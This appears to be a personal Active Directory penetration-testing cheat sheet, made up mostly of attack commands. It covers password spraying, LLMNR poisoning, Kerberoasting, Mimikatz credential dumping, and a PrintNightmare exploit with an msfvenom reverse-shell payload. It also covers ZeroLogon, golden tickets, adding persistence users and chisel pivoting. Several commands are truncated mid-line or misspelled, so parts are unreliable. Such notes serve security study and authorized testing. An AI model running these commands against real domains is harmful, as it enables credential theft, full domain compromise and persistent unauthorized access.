AD CHEATSHEET

> 💡 To use the domain controller as your DNS edit your /etc/resolv.conf
> domain <DOMAIN NAME>
> nameserver <DC IP>

ENUMERATION WITHOUT CREDENTIALS

Host Discovery

- Use `wireshark` and `tcpdump`
- `sudo responder -I <interface> -A`
- `fping -asgq <network/prefix>`

Host Enumeration

- `sudo nmap -v -A -iL <hosts file> -oA <output>`
  - `-oA` for output in three major formats at once

Low Hanging Fruits (anonymous)

- Domain information
  - `enum4linux-ng -P <dc ip> -oA <output` >
  - `rpcclient -U "" -N <dc ip>`
    - `rpcclient $> querydominfo` → useful information about the domain
    - `rpcclient $> getdompwinfo` → password policy

        - `rpcclient $> srvinfo`
        - `rpcclient $> enumdomains`
        - `rpcclient $> enumgroups`
        - `rpcclient $> enumalsgroups builtin`
- SMB Shares Recon
    - List shares on a machine as guest
        - `smbclient -L //<target IP> -N`
    - connect to specific share
        - `smbclient -L //<target IP> -N`

User enumeration

- `kerbrute userenum <user_wordlist> -d <domain> --dc <domain_controller> -o <output_file>`
    - Your option is `kerbrute` if anonymous access is disabled
- `enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d "[" | cut -f1 -d "]"`
    - Works if null session access is enabled to RPC/SMB
- `$rpcclient -U "" -N <dc ip>`
    - `rpcclient $> enumdomusers`
- `crackmapexec smb <DC IP> --users`
- `ldapsearch -H <DC IP> -x -b “DC=<DOMAIN>,DC=<TLD>” -s sub “(&(objectclass=user))” | grep sAMAccountName:`
- `python3` `windapsearch.py` `—dc-ip 172.16.5.5 -u “” -U`

PowerView

- Starting up
    - `Import-Module powerview.ps`
- Command usage
    - `Get-Help <Cmdlet-Name> [-detailed]`
- Function naming convention

    - `Get-` → Get data from objects
    - `Find-` → Find specific data entries
    - `Add-` → Add new object to destination
    - `Set-` → Modify a given object
    - `Invoke-`
- Filtering the output / pipes
    - `<PowerView-Command> | %{...Invoke-Command $_}`
    - `<PowerView-Command> | ? {$_.Field -eq X}`
    - `<PowerView-Command> | select property1,porperty2`
- Trust Relationships
    - `Get-DomainTrust`
    - `Get-ForestTrust`
    - `-Get-DomainTrustMapping`
    - `Get-DomainForeignUser`
    - `Get-DomainForeignGroupMember -Domain <target.domain>`
- Get policies
    - `Get-DomainPolicy`
- Flags
    - `-Identity`
    - `-Verbose`
    - `-Domain`
    - `-Server`
    - `-Properties`
    - `-Recurse` → Useful with `Get-DomainGroupMember`
- Identifying your target
    - `-TrustedToAuth`

    - `-Unconstrained`
    - `-SPN <service principal name, with wildcard support>`
    - `-OperatingSystem <OS>`
    - `-PreAuthNotRequired` → Do not require Kerberos preauthentication
    - `-AdminCount` → Return users who are/were of an admin protected group
- Enumerating groups
    - `Get-DomainGroup`
        - `-Identity "<*group_name_with_wildcard*>"`
        - `-MemberIdentity <User or Group>` → returns all groups a member/groups is part of
        - `-AdminCount` → priviliged groups
        - `-GroupScope [DomainLocal/Global/Universal]`
- Enumerating Members of a specific group
    - `Get-DomainGroupMember`
        - `-Identity “<Group name>”`
- More
    - `Get-DomainOU`
    - `Get-DomainGPO`
    - `Get-NetShare <machine>`
    - `Get-NetSession <machine>`
    - `Get-NetRDPSessions <machine>`

Password Spraying

- Getting a users file

```
enum4linux -u '<username>' -p '<password>' -U <DC IP> | grep "user:" | cut -f2
```

- Linux
  - Kerbrute
    - `kerbrute passwordspray --dc <DC IP> -d <domain name> <users.txt> <password>`
  - CrackMapExec
    - `sudo crackmapexec smb <DC IP> -u <users.txt> -p <password> | grep +`
  - Local admin spraying using CrackMapExec
    - `sudo crackmapexec smb --local-auth <TARGET IP> -u administrator -H <hash> | grep +`
      - `--local-auth` to prevent any account lockouts
      - Note that this technique is very noisy!
- Windows
  - `Import-Module .\DomainPasswordSpray.ps1`
  - `Invoke-DomainPasswordSpray -Password <password> -OutFile spray_success -ErrorAction SilentlyContinue`

LLMNR Poisoning

- Linux

```
sudo responder -I <interface>
```

- Windows

```
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
Invoke-Inveigh -NBNS Y LLMNR Y -ConsoleOutput Y -FileOutput Y
Stop-Inveigh
```

CREDENTIALED ENUMERATION

`whoami /priv` → If you are inside the session, gives you what permissions you have

Using Active Directory Module cmdlets

```
Import-Module ActiveDirectory

# Domain information
Get-ADDomain

# Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrinci

# Trust Information
Get-ADTrust -Filter *

# Group information
Get-ADGroup -Filter * | select Name
Get-ADGroup -Identity "<Group Name>"

# Members information
Get-ADGroupMembers -Identity "<Group Name>"
```

CrackMapExec

- `-u` → username
- `-p` → password
- `Target (IP or FQDN)` → where to point CME to
- `-users` → enumerate Domain Users
- `-groups` → enumerate Domain Groups
- `-loggedon-users` → enumerate logged on users

```
eg. sudo crackmapexec smb <TARGET> -u <username> -p <password> --users
sudo cracmapexec winrm <TARGET> ...
```

- CrackMapExec Share discovery

```
sudo crackmapexec smb <TARGET> -u <username> -p <password> --shares
sudo crackmapexec smb <TARGET> -u <username> -p <password> -M spider_
# spider_plus module is very handy when enumerating shares
```

SMBMAP

```
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET IP>

# Recursive search
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET IP> -R '<SHA

# Dir only
--dir-only
```

LDAPDomainDump

```
sudo ldapdomaindump ldaps://<DC IP> -u '<DOMAIN\USER>' -p <Password>
```

BloodHound

```
sudo neo4j console #Start neo4j server
sudo bloodhound
```

- Collecting data on windows using `SharpHound.exe`

  ```
  .\SharpHound.exe -c All --zipfilename <NAME>
  ```

- Collecting data on linux using `bloodhound-python`

  ```
  bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -ns <DOMA
  ```

PlumHound

💡 Make sure bloodhound and neo4j is running. What PlumHound does is it extracts data from the uploaded data inside BloodHound

```
sudo python3 PlumHound.py -x tasks/default.tasks -p <neo4j PASSWORD>
firefox reports/index.html
```

Domain Enumeration with PingCastle

💡 makes a quick health check of the domain

WindAPSearch

💡 User friendly version of ldapsearch

Uses ldap queries

```
python3 windapsearch.py --dc-ip <DOMAIN CONTROLLER> -u <USER>@<DOM
--da # domain adminst group members
--PU # recursive search
```

Snaffler

- Searches for sensitive data
  - `.\Snaffler.exe -s -d <domain> -o <outfile> -v data`

Remote Access

Impacket

- `psexec.py`

```
# Reqires SMB in/out traffic on the target
psexec.py <domain>/<username>:'<password>@<machine>
# It also allows passing hash instead of password
python3 psexec.py <user>@<machine> -hashes <LM>:<NT>
```

- `wmiexec.py`
    - Semi interactive shell where commands are executed through Windows Management Instrumentation

WinRM

- Windows:

```
$user = "<domain>\<user>"
$Password = ConvertTo-SecureString "<password>" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($user
Enter-PSSession -ComputerName "<computer name>" -Credential $credentials
Exit-PSSession
```

- Linux

```
evil-winrm -i <IP> -u <USER>
# If you want to use hash
-H <NTHash>
```

RDP

- Enumerate remote desktop users
    - `Get-NetLocalGroupMember -ComputerName <Computer Name> -GroupName "Remote Desktop Users"`
- Testing RDP
    - Windows

        - `mstsc.exe`
    - Linux
        - `xfreerdp`

SQL Server Admin

- Windows
    - Enumerate MSSQL instances

```
PS C:\htb>  Import-Module .\PowerUpSQL.ps1
PS C:\htb>  Get-SQLInstanceDomain
```

    - Execute SQL Query

```
Get-SQLQuery -Verbose -Instance "<SQL IP>,1433" -username "<domain>\<
```

- Linux

```
mssqlclient.py <domain>/<user>@<SQL IP> -windows-auth

# If the account has the appropriate rights
> enable_xp_cmdshell
> xp_cmdshell <command> # Can execute OS commands
```

POST-Compromise Attacks

Pass attacks

Linux

- CrackMapExe - Tries to login to machines and if (Pwn3d! logins)
    - `crackmapexec smb <IP/CIDR> -u <USER> -d <DOMAIN> -p <PASS>`
    - `--local-auth` → Using a local account, not the domain

- `-H <HASH>` → Only works with NTLMv1
- `-sam`
- `-shares` → doesn't necessarily mean we are connected to it
- `-lsa`
- `-M lsassy` → runs lsassy. Dumping and parsing credentials from LSASS

Stores all the data in `cmedb`

- Dump hashes `secretsdump.py`
  - `secretsdump.py <DOMAIN >/<USER>:<PASSWORD>@<MACHINE IP>`
  - `-hashes` support if no password

KERBEROASTING

Windows

- PowerView selecting our preys and Kerberoasting
  - View SPNs
    - `Get-DomainUser * -spn | select SAMAccountName`
  - Target specific user
    - `Get-DomainUser -Identity <service account> | Get-DomainSPNTicket -Format Hashcat`
  - Export all tickets to a CSV file
    - `Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\<output>.csv -NoTypeInformation`
- `.\Rubeus.exe`
  - `kerberoast` → perform a kerberoast attack (duhhh)
  - `asreproast` → If pre-authentication requirement is disabled for an account, that user is vulnerable against asreproast

- `/stats` → list kerberoastable accounts
- `/ldapfilter:'<LDAP FILTER>'` → query ldap using a custom filter
  - eg.: `/ldapfilter 'admincount=1'` → list protected groups
- `/spn:"<SPN name>"`
- `/user:<user>`
- `/nowrap` → useful if you need to copy the hash
- `/teldeg` → If DC before Windows Server 2019 Domain Controller you can downgrade the encryption algorithm when requesting a ticket, which speeds up the offline cracking process
- `/outfile:<out.hash>`

Linux

`sudo GetUserSPNs.py <DOMAIN.TLD>/<USER>:<PASSWORD> -dc-ip <DC IP>`

ASREPROASTING

Token Impersonation

```
msfconsole
use exploit/windows/smb/psexec
set payload, rhosts, smbuser, smbpass, smbdomain
exploit
meterpreter> load incognito
meterpreter> list_tokens -u # FOR USERS
meterpreter> list_groups -g # FOR GROUPS

# IMPERSONATE A USER
meterpreter> impersonate_token <DOMAIN>\<USER>
```

```
# To go back to original user
meterpreter> rev2selfbv
```

LNK File Attacks

- Creating link (Windows)

```
# We need the file to be in the view (as high alphabetically as possible)
# @ or ~ in the beginning of the file will help us achieve that

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\192.168.138.149\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()
```

- Creating link (Linux)

```
netexec smb <TARGET MACHINE> -d <DOMAIN -u <USER> -p <PASSWORD> -
```

- On attacker

```
sudo responder -I <interface> -dW
```

GPP Attacks

Quit old

```
# Using metasploit smb_enum_gpp
set USERNAME, PASSWORD, DOMAIN CONTROLLER, DOMAIN

# Goes through SYSVOL
```

MIMIKATZ

💡 If you are inside a meterpreter session, you can easily load it by

meterpreter> load kiwi

eg usage

meterpreter> lsa_dump_sam

Passwords of logged on users (Needs administrator access on the machine)

1. cmd.exe

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige
```

2. sekurlsa

```
privilege::debug
sekrulsa::logonpasswords
```

- lsadump

```
# SYSTEM-level access on a live machine
lsadump::lsa /inject

# Example obtaining the NTLM hash of krbtgt account and Domain SID
```

```
lsadump::lsa /inject /name:krbtgt

# Local user password hashes
lsadump::sam

# Service account passwords and LSA Secrets
lsadump::secrets

# Cached domain credentials on the local machine
lsadump::cache

# DPAIPI-protected secrets
lsadummp::dpapi

# Scenario: you have access to offlien SYSTEM/SAM/SECURITY hives
lsadump::sam /system:<path> /sam:<path>
lsadump::secrets /system:<path> /security:<path>
```

PrintNightmare

Can be used when

SeImpersonatePrivilege Enabled	Impersonate a client after authentication

- Check if it’s exploitable

```
rpcdump.py @<DC IP> | egrep 'MS-RPRN|MS-PAR'
```

- Create the payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<listening address>
```

- Start the smbserver (might require you to use `-smb2support`)

```
sudo smbserver.py -smb2support <Share Name> </path/to/directory_of_payload
```

- Launch metasploit

```
msf6 > use exploit/multi/handler                                    |       inet6
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tc
msf6 exploit(multi/handler) > set LHOST <LISTENING IP>
msf6 exploit(multi/handler) > set LPORT <LISTENING PORT>
exploit
```

- Execute PrintNightmare exploit (LINUX)

```
sudo python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET
```

PrintSpoofer

- Execute PrintSpoofer exploit (WINDOWS)

```
# Copy the PrintSpooler.exe and shell.exe (created by msfvenom)
# Execute
C:\path\to\PrintSpooffer.exe -c C:\path\to\shell.exe
```

ZeroLogon

💡 Considered dangerous to run

CVE-2020-1472

1. Sets the DC authentication to NULL
2. Needs to be restored

```
# zerologon-tester.py to see if it's actually vulnerable
python3 zerologon_tester.py <DOMAIN> <TARGET IP>

# exploit
python3 cve-2020-1472-exploit.py <DOMAIN> <TARGET IP>

# You can now obtain all the hashes
secretsdump.py -just-dc <DOMAIN>/<DC>@<DC IP>
   Password: <blank>

# Restore
# Obtain the plain password hex
secresdump.py administrator@<IP> -hashes <hash>
python3 restorepassword.py <DOMAIN>/<DC>@<DC> -target-ip <DC IP> -hexp
```

Post-Compromise

Dumping NTDS.DIT

```
# If we have compromised the Domain Admin we can use -just-dc-ntlm
secretsdump.py <DOMAIN>/<USER>:'<PASSWORD>'@<IP> -just-dc-ntlm
```

Golden Ticket Attacks

> 💡 If you successfully compromise krbtgt, you can grant tickets to yourself to any resource
>
> Requirements:
>
> - NTLM hash of the krbtgt
> - Domain SID

- Mimikatz

```
# Generating the golden ticket
kerberos::golden /User:<SomeRandomUserName> /domain:<DOMAIN> /sid:<SI
# Opening a command prompt with that golden ticket
misc::cmd
```

Persistence

- Add a user to local machine

```
net user <user> <password> /add
```

Pivoting

Port forwarding using SSH

```
ssh <LOCALPORT>:<TARGET HOST>:<REMOTEPORT> <user>@<SSH HOST>
```

Proxychains using SSH

💡 Config is under → /etc/proxychains4.conf

```
ssh -f -N -D 9050 <user>@<ip>
-f # background
-N # do not execute remote command (no shell)
-D <port> # which port to bing (configured under /etc/proxychains4.conf)

# To run command
proxychains <command>
```

Proxychains using Chisel

- Attacker

```
chisel server -p <PORT which chisel listens at> --reverse
```

- Target

```
chisel.exe client <PORT which chisel listens at>:<PORT to Forward>
```